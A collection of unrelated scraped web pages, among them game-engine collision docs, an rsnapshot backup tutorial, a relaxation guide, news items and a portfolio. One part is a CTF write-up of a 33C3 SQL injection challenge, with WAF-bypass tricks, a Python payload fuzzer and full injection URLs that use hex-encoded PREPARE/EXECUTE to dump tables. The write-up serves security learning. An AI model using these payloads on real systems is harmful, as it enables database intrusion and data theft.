| 83582 |
4/11/2020 19:00 |
Jesus dude I'm sorry. I pulled myself out of work and had a couple people give me shit for it (not my employers tho luckily) and then the job got shut down this week anyway cause someone onsite "tested "positive for "Covid SOOO |
0 |
1 |
原文 |
|
|


Hiding System Folders
How to optionally prevent hidden folders or folders that start with an underscore from being included during folder synchronization.
- Navigate to Admin > Site Settings.
- Select the Advanced Settings tab.
- Expand the Usability Settings section.
- At Hide System Folders, select from these options:
- to prevent adding hidden and underscore folders.
- to allow.
-
Click the Update button.


The term collision can be used to refer to physical interactions (where physical objects collide and bump off one another), and also to non-physical intersections. This article is about non-physical (mathematical) collisions.
Non-physical collision detection is interesting because they use less computing resources than physical collision detection. You can optimize your game if you find a way to simulate a certain effect in a non-physical way, using mathematical techniques such as ray casting.
One example for an optimization is a physical vehicle's wheels. You could make the wheels fully physical disks, and have jME calculate every tiny force – sounds very accurate, but is total overkill. A more performant solution is to cast four invisible rays down from the vehicle and calculate the intersections with the floor and other obstacles. These non-physical wheels require (in the simplest case) only four calculations to achieve an effect that players can hardly distinguish from the real thing.
A com.jme3.bounding.BoundingVolume is an interface for dealing with containment of a collection of points. All BoundingVolumes are Collidable and are used as optimization to calculate non-physical collisions more quickly: It's faster to calculate an intersection between simple shapes like spheres and boxes than between complex shapes. In cases where precision is not relevant, you wrap a complex model in a simpler shape to speed up collision detection.
Note: Physical objects have their own "bounding volumes" called CollisionShapes.
The interface com.jme3.collision.Collidable declares one method that returns how many collisions were found between two Collidables: collideWith(Collidable other, CollisionResults results)
.
com.jme3.collision.CollisionResults
object is an ArrayList of comparable com.jme3.collision.CollisionResult
objects.| CollisionResults Method | Usage |
|---|---|
| size() | Returns the number of CollisionResult objects. |
| getClosestCollision() | Returns the CollisionResult with the lowest distance. |
| getFarthestCollision() | Returns the CollisionResult with the farthest distance. |
| getCollision(i) | Returns the CollisionResult at index i. |
A CollisionResult object contains information about the second party of the collision event.
| CollisionResult Method | Usage |
|---|---|
| getContactPoint() | Returns the contact point coordinate on the second party, as Vector3f. |
| getContactNormal() | Returns the Normal vector at the contact point, as Vector3f. |
| getDistance() | Returns the distance between the Collidable and the second party, as float. |
| getGeometry() | Returns the Geometry of the second party. |
| getTriangle(t) | Binds t to the triangle t on the second party's mesh that was hit. |
| getTriangleIndex() | Returns the index of the triangle on the second party's mesh that was hit. (?) |
Assume you have two collidables a and b and want to detect collisions between them. The collision parties can be Geometries, Nodes with Geometries attached (including the rootNode), Planes, Quads, Lines, or Rays.
The following code snippet can be triggered by listeners (e.g. after an input action such as a click), or timed in the update loop.
// Calculate detection results CollisionResults results = new CollisionResults(); a.collideWith(b, results); System.out.println("Number of Collisions between" + a.getName()+ " and " + b.getName() ": " + results.size()); // Use the results if (results.size() > 0) { // how to react when a collision was detected CollisionResult closest = results.getClosestCollision(); System.out.println("What was hit? " + closest.getGeometry().getName() ); System.out.println("Where was it hit? " + closest.getContactPoint() ); System.out.println("Distance? " + closest.getDistance() ); } else { // how to react when no collision occured } }
You can also loop over all results and trigger different reactions depending on what was hit and where it was hit. In this example, we simply print info about them.
// Calculate Results CollisionResults results = new CollisionResults(); a.collideWith(b, results); System.out.println("Number of Collisions between" + a.getName()+ " and " + b.getName() " : " + results.size()); // Use the results for (int i = 0; i < results.size(); i++) { // For each hit, we know distance, impact point, name of geometry. float dist = results.getCollision(i).getDistance(); Vector3f pt = results.getCollision(i).getContactPoint(); String party = results.getCollision(i).getGeometry().getName(); int tri = results.getCollision(i).getTriangleIndex(); Vector3f norm = results.getCollision(i).getTriangle(new Triangle()).getNormal(); System.out.println("Details of Collision #" + i + ":"); System.out.println(" Party " + party + " was hit at " + pt + ", " + dist + " wu away."); System.out.println(" The hit triangle #" + tri + " has a normal vector of " + norm); }
Knowing the distance of the collisions is useful for example when you intersect Lines and Rays with other objects.
A com.jme3.math.Ray is an infinite line with a beginning, a direction, and no end; whereas a com.jme3.math.Line is an infinite line with only a direction (no beginning, no end).
Rays are used to detect where the user or a player is "looking" when performing an action:
These simple ray-surface intersection tests are called Ray Casting. As opposed to the more advanced Ray Tracing, Ray Casting does not follow a ray's reflection after the first hit, the ray just goes straight on.
Learn how to implement Mouse Picking here.
com.jme3.collision.bih.BIHNode com.jme3.scene.CollisionData
A com.jme3.collision.SweepSphere implements a collidable "stretched" sphere that is shaped like a capsule (an upright cylinder with half a sphere on top and the second half at the bottom). This shape is usually used to simulate simple non-physcial collisions for character entities in games. The sweep sphere can be used to check collision against a triangle or another sweep sphere.


| < Day Day Up > |
Hack 39 Automate Remote Backups
Make remote backups automatic and effortless. One day, the IDE controller on my web server died, leaving the files on my hard disk hopelessly corrupted. I faced what I had known in the back of my mind all along: I had not been making regular remote backups of my server, and the local backups were of no use to me now that the drive was corrupted. The reason for this, of course, is that doing remote backups wasn't automatic and effortless. Admittedly, this was no one's fault but my own, but my frustration was sufficient enough that I decided to write a tool that would make automated remote snapshots so easy that I wouldn't ever have to worry about it again. Enter rsnapshot. 4.6.1 Installing and Configuring rsnapshotInstallation on FreeBSD is a simple matter of: # cd /usr/ports/sysutils/rsnapshot # make install I didn't include the clean target here, as I'd like to keep the work subdirectory, which includes some useful scripts.
The install process neither creates nor installs the config file. This means that there is absolutely no possibility of accidentally overwriting a previously existing config file during an upgrade. Instead, copy the example configuration file and make changes to the copy: # cp /usr/local/etc/rsnapshot.conf.default /usr/local/etc/rsnapshot.conf The rsnapshot.conf config file is well commented, and much of it should be fairly self-explanatory. For a full reference of all the various options, please consult man rsnapshot. rsnapshot uses the /.snapshots/ directory to hold the filesystem snapshots. This is referred to as the snapshot root. This must point to a filesystem where you have lots of free disk space.
<IP_ADDRESS> Specifying backup intervalsrsnapshot has no idea how often you want to take snapshots. In order to specify how much data to save, you need to tell rsnapshot which intervals to keep, and how many of each. By default, a snapshot will occur every four hours, or six times a day (these are the hourly intervals). It will also keep a second set of snapshots, taken once a day and stored for a week (or seven days): interval hourly 6 interval daily 7 Note that the hourly interval is specified first. This is very important, as the first interval line is assumed to be the smallest unit of time, with each additional line getting successively bigger. Thus, if you add a yearly interval, it should go at the bottom, and if you add a minutes interval, it should go before the hourly interval. It's also worth noting that the snapshots are pulled up from the smallest interval to the largest. In this example, the daily snapshots are pulled from the oldest hourly snapshot, not directly from the main filesystem. The backup section tells rsnapshot which files you actually want to back up: backup /etc/ localhost/etc/ In this example, backup is the backup point, /etc/ is the full path to the directory we want to take snapshots of, and localhost/etc/ is a subdirectory inside the snapshot root where the snapshots are stored. If you are taking snapshots of several machines on one dedicated backup server, it's a good idea to use hostnames as directories to keep track of which files came from which server. In addition to full paths on the local filesystem, you can also back up remote systems using rsync over ssh. If you have ssh enabled (via the cmd_ssh parameter), specify a path similar to this: backup backup@example.com:/etc/ example.com/etc/ This behaves fundamentally the same way as specifying local pathnames, but you must take a few extra things into account:
<IP_ADDRESS> Preparing for script automationWith the backup_script parameter, the second column is the full path to an executable backup script, and the third column is the local path in which you want to store it. For example: backup_script /usr/local/bin/backup_pgsql.sh localhost/postgres/
Your backup script only needs to dump its output into its current working directory. It can create as many files and directories as necessary, but it should not put its files in any predetermined path. This is because rsnapshot creates a temp directory, changes to that directory, runs the backup script, and then syncs the contents of the temp directory to the local path you specified in the third column. A typical backup script might look like this: #!/bin/sh /usr/bin/mysqldump -uroot mydatabase > mydatabase.sql /bin/chown 644 mydatabase.sql There are a couple of example scripts in the utils/ directory of the rsnapshot source distribution to give you more ideas.
<IP_ADDRESS> Testing your config fileAfter making your changes, verify that the config file is syntactically valid and that all the supporting programs are where you think they are: # rsnapshot configtest If all is well, the output should say Syntax OK. If there's a problem, it should tell you exactly what it is. The final step to test your configuration is to run rsnapshot with the -t flag, for test mode. This will print out a verbose list of the things it will do, without actually doing them. For example, to simulate an hourly backup: # rsnapshot -t hourly <IP_ADDRESS> Scheduling rsnapshotNow that you have your config file set up, it's time to schedule rsnapshot to run from cron. Add the following lines to root's crontab: 0 */4 * * * /usr/local/bin/rsnapshot hourly 30 23 * * * /usr/local/bin/rsnapshot daily 4.6.2 The Snapshot Storage SchemeAll backups are stored within a configurable snapshot root directory. In the beginning it will be empty. rsnapshot creates subdirectories for the various defined intervals. After a week, the directory should look something like this: # ls -l /.snapshots/ drwxr-xr-x 7 root root 4096 Dec 28 00:00 daily.0 drwxr-xr-x 7 root root 4096 Dec 27 00:00 daily.1 drwxr-xr-x 7 root root 4096 Dec 26 00:00 daily.2 drwxr-xr-x 7 root root 4096 Dec 25 00:00 daily.3 drwxr-xr-x 7 root root 4096 Dec 24 00:00 daily.4 drwxr-xr-x 7 root root 4096 Dec 23 00:00 daily.5 drwxr-xr-x 7 root root 4096 Dec 22 00:00 daily.6 drwxr-xr-x 7 root root 4096 Dec 29 00:00 hourly.0 drwxr-xr-x 7 root root 4096 Dec 28 20:00 hourly.1 drwxr-xr-x 7 root root 4096 Dec 28 16:00 hourly.2 drwxr-xr-x 7 root root 4096 Dec 28 12:00 hourly.3 drwxr-xr-x 7 root root 4096 Dec 28 08:00 hourly.4 drwxr-xr-x 7 root root 4096 Dec 28 04:00 hourly.5 Each of these directories contains a full backup of that point in time. The destination directory paths you specified as the backup and backup_script parameters are placed directly under these directories. In the example: backup /etc/ localhost/etc/ the /etc/ directory will initially back up into /.snapshots/hourly.0/localhost/etc/. Each subsequent time rsnapshot is run with the hourly command, it will rotate the hourly.X directories, "copying" the contents of the hourly.0 directory (using hard links) into hourly.1. When rsnapshot daily runs, it will rotate all the daily.X directories, then copy the contents of hourly.5 into daily.0. hourly.0 will always contain the most recent snapshot, and daily.6 will always contain a snapshot from a week ago. Unless the files change between snapshots, the full backups are really just multiple hard links to the same files. This is how rsnapshot uses space so efficiently. If the file changes at any point, the next backup will unlink the hard link in hourly.0, replacing it with a brand new file. This will now use twice the disk space it did before, but it is still considerably less space than 13 full, unique copies would occupy. Remember, if you are using different intervals than the ones in this example, the first interval listed is the one that gets updates directly from the main filesystem. All subsequently listed intervals pull from the previous snapshots. 4.6.3 Accessing SnapshotsWhen rsnapshot first runs, it will create the configured snapshot_root directory. It assigns this directory the permissions 0700 since the snapshots will probably contain files owned by all sorts of users on your system. The simplest but least flexible solution is to disallow access to the snapshot root altogether. The root user will still have access, of course, and will be the only one who can pull backups. This may or may not be desirable, depending on your situation. For a small setup, this may be sufficient. If users need to be able to pull their own backups, you will need to do a little extra work up front. The best option seems to be creating a container directory for the snapshot root with 0700 permissions, giving the snapshot root directory 0755 permissions, and mounting the snapshot root for the users as read-only using NFS or Samba. Let's explore how to do this using NFS on a single machine. First, set the snapshot_root variable in rsnapshot.conf: snapshot_root /usr/.private/.snapshots/ Then, create the container directory, the real snapshot root, and a read-only mount point: # mkdir /usr/.private/ # mkdir /usr/.private/.snapshots/ # mkdir /.snapshots/ Set the proper permissions on these new directories: # chmod 0700 /usr/.private/ # chmod 0755 /usr/.private/.snapshots/ # chmod 0755 /.snapshots/ In /etc/exports, add /usr/.private/.snapshots/ as a read-only NFS export: /usr/.private/.snapshots/ <IP_ADDRESS>(ro)
In /etc/fstab, mount /usr/.private/.snapshots/ read-only under /.snapshots/: localhost:/usr/.private/.snapshots/ /.snapshots/ nfs ro 0 0 Restart your NFS daemon and mount the read-only snapshot root: # /etc/rc.d/nfsd restart # mount /.snapshots/ To test this, try adding a file as the superuser: # touch /.snapshots/testfile This should fail with insufficient permissions. This is what you want. It means that your users won't be able to mess with the snapshots either. Users who wish to recover old files can go into the /.snapshots directory, select the interval they want, and browse through the filesystem until they find the files they are looking for. NFS will prevent them from making modifications, but they can copy anything that they had permission to read in the first place. 4.6.4 See Also
|
| < Day Day Up > |


git -at me | discover open source
09/19/2013 // Let's talk about Sex
Is Taylor a boy or girl? How about Sasha? Would your answer change if you were in Lebanon?
Accurately determining a user's gender makes user experience. Peopl
Enter Steganography & Robert Winslow's Plainsight. Translated from Greek, steganography literally means concealed writing. And that's exactly what Plainsight does. It conceals your private information as an innocuous passage of text.
Plainsight uses a plaintext cipher, say Ulysses by James Joyce to mask your message. So as long as you and your intended recipient both have the cipher, you can communicate safely.*
Plainsight is written in Python and you can install it via pip, [sudo pip install plainsight]. So what are you waiting for? View Star Fork
*You really can't protect something once it's been intercepted. Especially if you let the cipher get out. That's why the Nazis used water soluble ink in their codebooks - easy to destroy in the face of capture!
The cardinal rules of cryptography (according to git -at me):
09/12/2013 // For Open Source Eyes Only
Snowden. Manning. Lavabit. Prism. NSA. Big Brother. You've seen the news - government snooping is real.
If you're wondering, "How can I prevent my sensitive information from falling into the wrong hands?" The answer is you can't, but you can make it MUCH harder to decipher.
Enter Steganography & Robert Winslow's Plainsight. Translated from Greek, steganography literally means concealed writing. And that's exactly what Plainsight does. It conceals your private information as an innocuous passage of text.
Plainsight uses a plaintext cipher, say Ulysses by James Joyce to mask your message. So as long as you and your intended recipient both have the cipher, you can communicate safely.*
Plainsight is written in Python and you can install it via pip, [sudo pip install plainsight]. So what are you waiting for? View Star Fork
*You really can't protect something once it's been intercepted. Especially if you let the cipher get out. That's why the Nazis used water soluble ink in their codebooks - easy to destroy in the face of capture!
 It's a bit like asking Rumpelstiltskin for help. Sure he can validate your form inputs - but you'll need to hand over your firstborn child and make him a sandwich too. Next time, try VerbalExpressions.
VerbalExpressions enables you to construct RegEx statements that you can actually understand. Think of it as SQL-level simplicity for Regular Expressions. For example, to validate a URL in javascript:
How cool is that? RegEx you can read! VerbalExpressions ports are available for Javascript, Ruby, PHP, and more. So what are you waiting for? View Star Fork
© 2013 Neal Shyam :: About :: Terms & Privacy


My dog's name is Brady and he's a mix of a German Shephard and Golden Retriever.
I rescued him from a shelter a little over two years ago when he was 8 weeks old.
Thanks for reading about my puppers


NO #1 FIRE SAFETY SERVICES IN THE WORLD
The Vellore Fire Brigade is the fire brigade serving the city of Vellore, Tamil Nadu. It is responsible for the provision of fire protection as well as responding to building collapses, drownings, gas leakage, oil spillage, road and rail accidents, bird and animal rescues, fallen trees and taking appropriate action during natural disasters..


Open Menu
Home
About
CGQ's blog
Moon is a minimal, one column jekyll theme for your blog.

About
Posts
Projects


It looks like your browser doesn't work with our phone provider. You can still call your rep though by calling {{district.phone}}
{{callscript}}
In order to make sure as many people can call their rep as possible, you can only call your reps for 20 minutes each per day. The counter below shows how much time you have left! Use it well!
Remember that you're talking to a staff member or possibly even an intern whose job is to answer phone calls! Please be respectful and polite!


Follow @LRRthomas
Home
About Me
Projects
On DBC Culture
On Code Technique
Some Auden
Some Eliot
Quite a bit of Browning
Luke's Projects:
DBC Phase 0
Search for the Last
Unicorn


Level 4: Relaxation Techniques
Relaxation of one the core components of cognitive behavioral therapy for insomnia. Relaxation techniques include things you can do to reduce tension and stress as a way to promote better sleep. If you are not already doing so, we encourage you to try adding relaxation techniques to your nightly routine.
Stress is one of the most common triggers for insomnia. Relaxation helps decrease the physical signs of stress such as increased heart rate, blood pressure, breathing rate, and muscle tension. It also increases positive feelings of calmness and peacefulness.
Do you notice a relationship between how stressed you are feeling and your ability to get a good night’s sleep? Your sleep diary can be a useful tool for helping you notice these kinds of patterns. Even if stress is not a major trigger for your insomnia, relaxation can still be useful in helping you unwind.
This app contains some information and videos to introduce you to some common relaxation techniques. Your aim should be to adopt one or more of these relaxation strategies and make them a part of your daily nighttime routine.
Progressive muscle relaxation involves systematically contracting specific muscle groups for a few seconds and then releasing them. Starting with your toes and feet, you can move through all the major muscle groups in your body, tensing and relaxing as you go. Pay attention to how your muscles feel as you release and relax them. With practice, you will learn to notice the difference between tensed and relaxed muscles.
Choose a quiet place where you can sit comfortably or lie down. It is a good idea to set aside about 15 minutes for the entire exercise.
Start at your feet and slowly move up to your head. Tense and relax each muscle group for 3 to 6 seconds each. Move from the feet and toes, to the knees, thighs, glutes, abdomen, chest, hands, arm, shoulders, neck, jaw, muscles around the eyes, and forehead. Be careful not tense your toes and feet too vigorously. This can sometimes cause painful muscle cramps.
Maintain calm, slow breathing throughout the exercise. As you tense you muscles, breathe in through your nose.
At the end of progressive muscle relaxation exercises, you will feel calm and relaxed ready for a sound peaceful sleep.
Here are some videos that demonstrate the progressive muscle relaxation technique. You can use them to help you practice the technique.
Please note these videos will use your mobile or Wi-Fi data for streaming.
When you are able to notice the difference between tensed and relaxed muscles you can use this strategy. It is similar to the progressive muscle relaxation strategy, except that you do not have to tense your muscles first. Instead, you notice when your muscles are tense and focus on releasing the tension.
It is a quick and easy way to relax any time or place.
Breathing usually occurs naturally without much thought. A number of relaxation techniques involve taking a moment to focus on your breath. One strategy is to breathe from your belly rather than your chest. When you breathe in your chest, only a part of your lungs are filled. Your breath is shallower and your heart rate is faster. In contrast, belly breathe makes it easier to take slow deep breaths.
Belly breathing is deep, fills your lungs with air, and is better for relaxation than chest breathing. Most people do not use belly breathing, but you can learn to do this with practice.
Lie down or sit comfortably.
Place one hand on your chest and the other hand on your belly.
Take a slow, deep breath in through your nose. Feel your stomach push against your hand as air fills the deepest part of your lungs. Your chest should remain as still as possible.
Breathe out through your mouth. Push the air out by tightening your stomach muscles.
Continue breathing in and out in this way for about 5 to 10 minutes. You should feel your belly rise and fall with each breathe.
You find it difficult to breathe through your belly at first. With practice your diaphragm and the other muscles you are using will get stronger. Eventually, you may be able to use this technique without placing your hands on your belly.
This strategy relies on your ability to focus and imagine that you are getting relaxed. You will experience relaxing sensations by repeating suggestions to yourself, such as “my arm is heavy,” “my breathing is calm”.
This audio recording is a guided relaxation exercise that uses this strategy.
Relaxation strategies can be used before bed to help you unwind, or throughout the day to help you manage stressful events. Setting aside 15 to 20 minutes shortly before your bedtime is a great way to add these techniques into your sleep routine.
You may even try yoga or meditation to relax and reduce your stress. You may find you like one strategy more than others. The key is to choose something that works for you.


| Previous | Next | See Also |
Please be aware that usually only one of the possible peptide to protein mappings are kept in PRIDE. In shotgun proteomics experiments, protein inference needs to be taken into account when interpreting protein identifications reported that are based on non-ambiguous (or shared) peptides.


To improve my english level,i decided to write my blog by using EN.Maybe now my english level is very looooow:)
A SQLi task in 33C3 about "join"：
well，it looks like a SQL injections，i try to solve it：
curl http://<IP_ADDRESS>/quote/1:
===>Don't let your dreams be dreams! //also a sentense
curl http://<IP_ADDRESS>/quote/ven:
===>db error
Ok,now,i can confirm it has a SQLi
but,when i find:(i cannot use
',' ' ' 'select' '_' etc...
so,we can use
%0d,selselectect
replace the waf:)
as for ',',we can use join XD
OK,what is join?
mysql> SELECT * FROM (SELECT 1)a JOIN (SELECT 1)b JOIN (SELECT 1)c;
+---+---+---+
| 1 | 1 | 1 |
+---+---+---+
| 1 | 1 | 1 |
+---+---+---+
1 row in set (0.00 sec)
we also konw it has 4 columns,so we can use this solution:
mysql> SELECT * FROM (SELECT 1)a JOIN (SELECT 1)b JOIN (SELECT version())c;
+---+---+-----------+
| 1 | 1 | version() |
+---+---+-----------+
| 1 | 1 | 5.6.17 |
+---+---+-----------+
1 row in set (0.01 sec)
OK,now,we can use this trick find flag:
mysql> SELECT F.1 FROM (SELECT 1, 2, 3 UNION SELECT * FROM users)F;
+--------+
| 1 |
+--------+
| 1 |
| veneno |
| veneno |
+--------+
3 rows in set (0.00 sec)
so,we can use python to fuzz:
#!/usr/bin/env python2.7
import requests
url = 'http://<IP_ADDRESS>/quote/'
for i in range(1,5):
for j in range(1,5):
for l in range(1,10):
payload = "0 union select * from (select 1)a join (select 2)b join (select F."+str(i)+" from (select * from (select 1)u join (select 2)i join (select 3)o join (select 4)r union select * from flag limit "+str(j)+" offset "+str(l)+")F)c"
payload = payload.replace(' ', '%0d')
for w in ['select', 'union', 'join']:
payload = payload.replace(w, w[:2] + w + w[2:])
print '====>'+payload
r = requests.get(url + payload)
print r.text
OK,find the flag:
OK，it also have a Unintended Solution：
i find it in my friend&member'blog=>albertchang
he use set+PREPARE+EXECUTE:
mysql> select group_concat(schema_name) from information_schema.schemata;
+---------------------------------------------------------+
| group_concat(schema_name) |
+---------------------------------------------------------+
| information_schema,mysql,performance_schema,test,veneno |
+---------------------------------------------------------+
1 row in set (0.01 sec)
mysql> set @b=0x7365742040613d2873656c6563742067726f75705f636f6e63617428736368656d615f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e736368656d61746129;
Query OK, 0 rows affected (0.01 sec)
mysql> prepare x from @b;
Query OK, 0 rows affected (0.01 sec)
Statement prepared
mysql> execute x;
Query OK, 0 rows affected (0.00 sec)
mysql> select @a;
+---------------------------------------------------------+
| @a |
+---------------------------------------------------------+
| information_schema,mysql,performance_schema,test,veneno |
+---------------------------------------------------------+
1 row in set (0.01 sec)
it looks very good!
And now,we also can use the conventional method：
First,we know the database is shia,so we should find table&column:
http://<IP_ADDRESS>/quote/0%0dununionion%0dselselectect%0d*%0dfrom%0d((selselectect%0d1)a%0djojoinin%0d(selselectect%0d3)b%0djojoinin%0d(selselectect(@a))c);set%0d@b=0x7365742040613d2873656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d27736869612729;prepare%0dx%0dfrom%0d@b;execute%0dx;
===>table is shia too;
===>also find the column is flag:)
http://<IP_ADDRESS>/quote/0%0dununionion%0dselselectect%0d*%0dfrom%0d((selselectect%0d1)a%0djojoinin%0d(selselectect%0d3)b%0djojoinin%0d(selselectect(@a))c);set%0d@b=0x7365742040613d2873656c6563742067726f75705f636f6e636174282771756f746527292066726f6d20666c616729;prepare%0dx%0dfrom%0d@b;execute%0dx;
===>id,aoscquewrvadasd,ungue$$4bl3looooongColuMMnnam3334,qoiihutwregaisfuiad
OK:)
http://<IP_ADDRESS>/quote/0%0dununionion%0dselselectect%0d*%0dfrom%0d((selselectect%0d1)a%0djojoinin%0d(selselectect%0d3)b%0djojoinin%0d(selselectect(@a))c);set%0d@b=0x7365742040613d2873656c6563742067726f75705f636f6e6361742827716f696968757477726567616973667569616427292066726f6d20666c616729;prepare%0dx%0dfrom%0d@b;execute%0dx;
===>
{
"reason": "
3

by Shia - added wrong row man....,du schaffst es,no flag here,come on, you can do it!,33C3_runnn!ng_for_your_life_fRom_shia_!,you went too far!
",
"success": 1
}


{% extends "base.html" %} {% block content %}
Start Stop
Are you sure you want to stop the mashing process? Logging will stop and reset after this.


Phoenix Events
Events
Weather
Wall
search
close
5 Day Weather Forecast
Date
Temperature Low
Temperature High
Wind
Humidity
Post to Greater Phoenix Live Events Wall:
Home Town
Event You Plan On Attending
How Many People Attending
Submit
send
Trending:
Home Town
Event
Attending


| Trees | Indices | Help |
|---|
|
|
Helper methods for creating & verifying XSRF tokens.
|
|||
|
|||
|
|
|||
DELIMITER = ':'
|
|||
DEFAULT_TIMEOUT_SECS = 1* 60* 60
|
|
Generates a URL-safe token for the given user, action, time tuple. Args: key: secret key to use. user_id: the user ID of the authenticated user. action_id: a string identifier of the action they requested authorization for. when: the time in seconds since the epoch at which the user was authorized for this action. If not set the current time is used. Returns: A string XSRF protection token.
|
Validates that the given token authorizes the user for the action. Tokens are invalid if the time of issue is too old or if the token does not match what generateToken outputs (i.e. the token was forged). Args: key: secret key to use. token: a string of the token generated by generateToken. user_id: the user ID of the authenticated user. action_id: a string identifier of the action they requested authorization for. Returns: A boolean - True if the user is authorized for the action, False otherwise.
|
| Trees | Indices | Help |
|---|
| Generated by Epydoc 3.0.1 on Thu Jan 24 16:14:32 2013 | http://epydoc.sourceforge.net |


Gameplay: John Johnson - made for USU CS 5410
Gameplay Music: Eric Skiff - Chibi Ninja - Resistor Anthems - Available at http://EricSkiff.com/music
Menu Music: Eric Skiff - Arpanauts - Resistor Anthems - Available at http://EricSkiff.com/music
Sound Effects: LittleRobotSoundFactory - Available at https://freesound.org/people/LittleRobotSoundFactory/
Font: CodeMan38 - Press Start 2P - Available at https://fonts.google.com/specimen/Press+Start+2P
Background: Shiva - Funky Lines


DEADlines
Sign Up
Join us.
Fight the dead...
and the deadlines...
{% extends 'base.html' %} {% block header %}
Fight the dead...
and the deadlines...


Brazil lifts fourth U-17 World Cup
by The Eagle OnlineHost Brazil have won their fourth crown of the Under 17 FIFA World Cup, following a 2-1 win over Mexico in the final at Brasilia’s Estadio Bezerrao.
The Brazilians have now moved within one title of equalling record holders, Nigeria, though this was their first since 2003.
It also may have been the sweetest, given that the South Americans became only the second team to top the competition as hosts – the first, interestingly enough, was Mexico eight years ago.
For the second straight match, Lazaro was Brazil’s super sub.
On Thursday, he capped his side’s comeback against France in the semi-final by bagging the winning goal in the 89th minute.
On Sunday, the No 20 left it even later.
Brazil fell behind in the 66th minute when Bryan Gonzalez beat adidas Golden Glove winner Matheus Donelli with a superbly-directed header.
A Kaio Jorge penalty goal brought Brazil roaring back 18 minutes later, and Lazaro’s volleyed, close-range strike three minutes into second-half stoppage time sealed the trophy for the hosts.
In the third-place match, France rode Arnaud Kalimuendo-Muinga’s hat-trick to victory over European rivals, Netherlands.
Both teams benefitted from the reintroduction of their captains, who missed their respective semi-finals.
Oranje field general Kenneth Taylor assisted the opening goal of the match, flicking a pass over the French defence to play Mohamed Taabouni in on goal.
France captain Lucien Agoume countered with an incisive through ball seven minutes later, which eventually led to Kalimuendo-Muinga’s first goal.
The Paris Saint-Germain starlet scored two more in the second period en route to Les Bleuets’ bronze medal finish.


| {$c{exam}->get_fullname} Question Summary {$c{report}->get_report_title} |
|
| {$c{report}->test_marks} | marks are availiable in the quiz. |
| {$c{report}->count_pupils} | pupils sat the exam. |
| {$c{report}->exam_marks} | marks are availiable in the quiz ({$c{report}->test_marks} * {$c{report}->count_pupils}) |
| {$c{report}->exam_score} | marks in total were awarded for this quiz |
| {$c{report}->exam_percent} | average total score awarded for this quiz |
| +++ foreach my $qref (@$questions) { my $title = $c{report}->question_title($qref->{sub_question_id}); my $id = $qref->{sub_question_id}; my $admin_txt = ''; if($c{user}->is_webkit) { my $exam_id = $c{exam}->get_id; $admin_txt=<<"+++"; | $title$admin_txt | +++ } $OUT.=<<"+++";||
| $score/$marks | +++ } $OUT.=<<"+++";|||
| $percent% | +++ } foreach my $pref (@$pupils) { my $pupil_name = $c{report}->pupil_name($pref->{exam_login_id}); my $score = $c{report}->pupil_score($pref->{exam_login_id}); my $marks = $c{report}->test_marks; my $percent = $c{report}->pupil_percent($pref->{exam_login_id}); my $pupil_id = $pref->{pupil_id}; $pupil_name =~ s/ / /g; my $display = 'none'; if($c{org}->is_generic_nctest) { $display = 'inline'; } $OUT.=<<"+++";|||
| $pupil_name | $score/$marks | $percent% |


Height
- src
- utilities
- height.scss
Class list
- .h-1-4
- .h-1-3
- .h-1-2
- .h-2-3
- .h-3-4
- .h-1
- .h-1-4-vh
- .h-1-3-vh
- .h-1-2-vh
- .h-2-3-vh
- .h-3-4-vh
- .h-1-vh
Description
The height utility classes use a fraction notation to indicate their values. For example, .h-1-2 would be equivalent to 1/2 of the parent element height, and .h-3-4 would be equivalent to 3/4 of the parent element height.
Percentages
The regular height utility classes use percentages as the units of their values. For example, .h-1-4 would use 25% of its parent element's height.
Be mindful that height percentages will only work if the parent element has a height value specifically set.
vh Units
The height utility classes ending with -vh use vh units, which can be thought of as a percentage of the viewport height. For example, .h-1-vh would use 100% of the viweport height.


Winfrey, Coates to speak at upcoming Toni Morrison tribute
NEW YORK (AP) - Oprah Winfrey, Ta-Nehisi Coates and Jesmyn Ward will be among the speakers at a tribute to the late Toni Morrison.
The Nobel laureate’s longtime publisher, Alfred A. Knopf, announced Tuesday that the event will take place November 21 at the Cathedral of St. John the Divine in Manhattan. Other guests will include Angela Davis, New Yorker editor David Remnick and Michael Ondaatje.
Morrison, known for novels such as “Beloved” and “The Bluest Eye,” died in August at age 88.
Sign up for Daily Newsletters
Copyright © 2019 The Washington Times, LLC.
Please read our comment policy before commenting.


{% load static %}
Check out what you can do with this certificate generator!
The service is free to a great extent and thus proves to be useful!!
All your files are secure and nobody else can access it!!
You can upload the certificate in any format!!


The intent of Voicebot project is to provide an easy-to-follow example project on how to build a voice-driven bot interface against DialogFlow (formerly api.ai) backend.
Voicebot requires signin in with Google for the sole purpose of accessing Google text processing API-s.
Voicebot does not store or use any personal or private data.
Google may store the data you enter using Voicebot. See Google Privacy Policy for more details.
You can browse Voicebot source code at github.com/jaanus/voicebot.


Software projects
Fulltime jobs
I worked mainly with backend (thou I thouched early React and Angular 4 at some point), 5 years with C#, 2 years and counting with Elixir. Along the way I wrote integration systems, backends for web interfaces, rewrote a legacy project or two (that's surprisingly fun!). Now I'm also running my own team, building a project I'm responsible of.
Freelance
I did a frontend for a recycling kiosk. You can put waste there and get points to exchange for points to use across the city. I did it using Elm 0.13 and it's still running in production without hiccups. CSS was a big pain thou.
yet unnamed tower defense (wip)
Big work in progress, just at the start of the project. I'm using GameMakerStudio 2 to build a 2D Tower Defence game. More as it develops.
contract brigde (wip)
I kinda forgot about this project and recently recalled I did that. There's some code (Elixir + Phoenix LiveView) but I need to rewrite a lot of stuff after some thinking. When I'm done with above project I will resurrect this and link to the repo
Music projects
Drumming
I currently play drums with a local band: Lucha Beaver. We're working on EP which I'm slowly mixing.
I composed and recorded drums for a prog rock album.
Music production
There is some stuff at on my soundcloud page - a bit of dark ambient + some music challenges.
In May 2022 I performed debut MonoChromancer ambient concert in front of 600 people at Festival of Light
In May 2023 I performed as MonoChromancer again at FoL in Gdańsk. This time I also released a debut album
SonicPi workshops
I did a SonicPi workshops for IKM Gdańsk and Starter. This was aimed for total beginners to start making music with code.
Music for Metabow (wip)
I'm making music for Metabow, a VR Game. There's already a build with some music by me, there's a need for some battle music as well.
Gamejam music
I made a music for a Spacelinks, game made for GMTK Gamejam 2021. I had 48hrs to work on this. While our idea for final piece was much more ambitious (and music was made), folks who made the game didn't have time to properly implement complex layering system. What's in the game is cool as well, it's just the idea that sparked during last 8 hours of work. I'm really glad how it went. Definitely will work with guys in the future, it was a blast.
